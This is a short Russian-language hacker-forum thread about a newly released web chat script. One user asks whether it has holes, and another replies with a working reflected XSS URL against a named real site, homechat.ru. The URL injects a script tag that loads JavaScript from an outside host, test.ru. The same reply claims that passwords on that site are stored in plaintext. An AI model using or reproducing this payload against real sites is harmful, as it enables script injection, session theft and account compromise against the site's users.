Новый чат

[artkino]

Вышел новый чат адрес _http://www.sipliy.ru/ourwork.php?tid=1 вроде говарят есть дыры. Пример работы на homechat.ru

Что скажите?

[EST a1ien]

Ну что вот вам пассивная XSS _http://www.chat.homechat.ru/index.php?skin_id=1&lang=ru<script src=http://test.ru/script.js>

А пасы там хранятся в открытом виде.